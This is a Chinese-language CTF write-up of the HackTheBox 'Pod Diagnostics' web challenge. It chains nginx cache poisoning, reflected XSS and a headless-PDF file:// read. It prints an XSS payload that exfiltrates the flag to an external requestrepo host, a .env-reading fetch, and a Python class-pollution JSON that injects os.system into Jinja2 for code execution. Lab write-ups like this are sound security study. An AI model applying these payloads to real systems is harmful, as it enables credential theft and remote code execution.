hackthebox Pod Diagnostics
题目描述
We've discovered a mining pod tunnelling underneath a government facility. Luckily, we've managed to connect to an air-gapped control panel that was seemingly left enabled. Can you exploit it and help us track down the perpetrator controlling it?
收集信息
访问网站
页面似乎是一个监控服务器资源的网站
/generate-report端口可以下载一个pdf,应该能是bot访问后渲染的
有个下拉选择时间的功能,对应发送了/stats?period=1m请求,返回的正常的json信息
最后还有个report功能,但是要管理员密码才能进入
审计源码
有附件,分为3个服务,分别是web,stats和pdf,外部还有一个nginx
先看web部分,是一个使用flask框架的web服务,有一个明显的原型链污染
def merge(source, destination):
for key, value in source.items():
if hasattr(destination, "get"):
if destination.get(key) and type(value) == dict:
merge(value, destination.get(key))
else:
destination[key] = value
elif hasattr(destination, key) and type(value) == dict:
merge(value, getattr(destination, key))
else:
setattr(destination, key, value)不过很可惜report相关的都需要登录才能访问
stats有个xss漏洞
app.get("/stats", async (req, res) => {
const { period } = req.query;
if (!period || !validPeriods.hasOwnProperty(period)) {
return res.json({
success: false,
error: `<strong>${period} is invalid.</strong> Please specify one of the following values: ${Object.keys(validPeriods).join(", ")}`,
});
}如果传入的period不在列表const validPeriods = { "1m": 60_000, "5m": 300_000, "10m": 600_000 };里面,返回的错误信息能够插入html标签
测试一下,访问/stats?period=<img%20src=x%20onerror=alert(1)>果然返回了
{"success":false,"error":"<strong><img src=x onerror=alert(1)> is invalid.</strong> Please specify one of the following values: 1m, 5m, 10m"}不过暂时还不知道怎么利用
pdf服务也很正常,就是读取url然后将其渲染为pdf
app.get("/generate", async (req, res) => {
const { url } = req.query;
if (!url) return res.sendStatus(400);
const pdf = await generatePDF(url);
if (!pdf) return res.sendStatus(500);
res.contentType("application/pdf");
res.end(pdf);
});最后看nginx
location = /stats {
proxy_cache stat_cache;
proxy_cache_key "$arg_period";
proxy_cache_valid 200 15s;
proxy_pass http://127.0.0.1:3001;
}
location / {
proxy_pass http://127.0.0.1:3000;
}stats这个端口有缓存,而且缓存取决于period键,或许有机会缓存投毒?
分析
先看看访问/generate-report会发生什么吧
flask
@app.route("/generate-report")
def generate_report_handler():
global is_generating_report
if is_generating_report:
abort(422)
is_generating_report = True
try:
pdf_response = requests.get(f"{pdf_generation_URL}/generate?url={quote('http://localhost/')}")
if pdf_response is None or pdf_response.status_code != 200:
is_generating_report = False
abort(pdf_response.status_code)
is_generating_report = False
return send_file(
io.BytesIO(pdf_response.content),
mimetype="application/json",
as_attachment=True,
download_name="report.pdf"
)
except:
is_generating_report = False
abort(pdf_response.status_code)这里是直接requsts发送的请求,发送到后端的pdf服务
pdf服务的generatePDF函数用puppeteer访问了对应的url,这里有机会xss
const generatePDF = async (url) => {
let browser;
let output;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: ["--no-sandbox", "--disable-setuid-sandbox", "--js-flags=--noexpose_wasm,--jitless"],
dumpio: true,
executablePath: process.env.NODE_ENV === "production" ? "google-chrome-stable" : undefined,
});
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
await page.goto(url, { waitUntil: "networkidle0", timeout: 10_000 });
output = await page.pdf({ printBackground: true });
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
return output;
};如果能通过缓存投毒让bot访问到的页面直接包含xss信息,那么就有机会泄露些东西,例如用file协议访问本地文件泄露flag
这里缓存基于period键,nginx解析参数时仅取第一个,但是后端express却会将多个同名参数解析为一个字典,这就有了缓存投毒的可能
只需要先访问/stats?period=1m&period=%3Cimg%20src=x%20onerror=alert(1)%3E然后再访问主页就能看到xss的效果

现在问题来了,xss之后该让bot做些什么呢(
例如读取flag文件,我们可以通过传入url=file:///flag到pdf,然后将返回的pdf文件编码后发送出去
试着写一段payload
<img src=x onerror="fetch('http://localhost:3002/generate?url=file:///flag')
.then(function(response) {
return response.blob();
})
.then(function(blob) {
return new Promise(function(resolve, reject) {
var reader = new FileReader();
reader.onloadend = function() {
resolve(reader.result);
};
reader.onerror = function(error) {
reject(error);
};
reader.readAsDataURL(blob);
});
})
.then(function(base64data) {
return fetch('http://7teo0yzo.requestrepo.com/', {
method: 'POST',
body: base64data
});
});">然后成功收到了base64编码的pdf文件,内容便是flag
HTB{xxxxxxxxx_xxx_xxxx_xxxxxx_xxxxxxxx}
欸,这就出了?不是有原型链污染吗?report路由也没用啊?额,不会非预期了吧。。。
预期解
看了看官方的wp,果然是非预期了
官方是用这样的payload先拿到密码
fetch('http://localhost:3002/generate?url=file:///var/www/web/.env').then((data) => data.blob()).then((blob) => {var reader = new FileReader();reader.readAsDataURL(blob);reader.onloadend = function() {var base64data = reader.result;document.getElementById('output').innerText = base64data;}});这里是读取了/var/www/web/.env然后直接把base64数据写进网页然后渲染成pdf返回给我们了,我的那种则要出网
拿到密码后参考https://blog.abdulrah33m.com/prototype-pollution-in-python/打原型链污染
response = requests.post(
f"{server_url}/report",
auth=(username, password),
json={
"title": "helloworld",
"description": "helloworld",
"__init__": {
"__globals__": {
"Template": {
"__new__": {
"__globals__": {
"new_context": {
"__globals__": {
"exported": [
"LoopContext",
"TemplateReference",
"Macro",
"Markup",
"TemplateRuntimeError",
"missing",
"escape",
"markup_join",
"str_join",
"identity",
"TemplateNotFound",
"Namespace",
"Undefined",
f"internalcode\nimport os\nos.system('{cmd}')\nfrom jinja2.runtime import escape",
]
}
}
}
}
}
}
}
},
)总结
挺有意思的一道题,不过题目没有做好权限控制,使得flag能直接读取到了。。。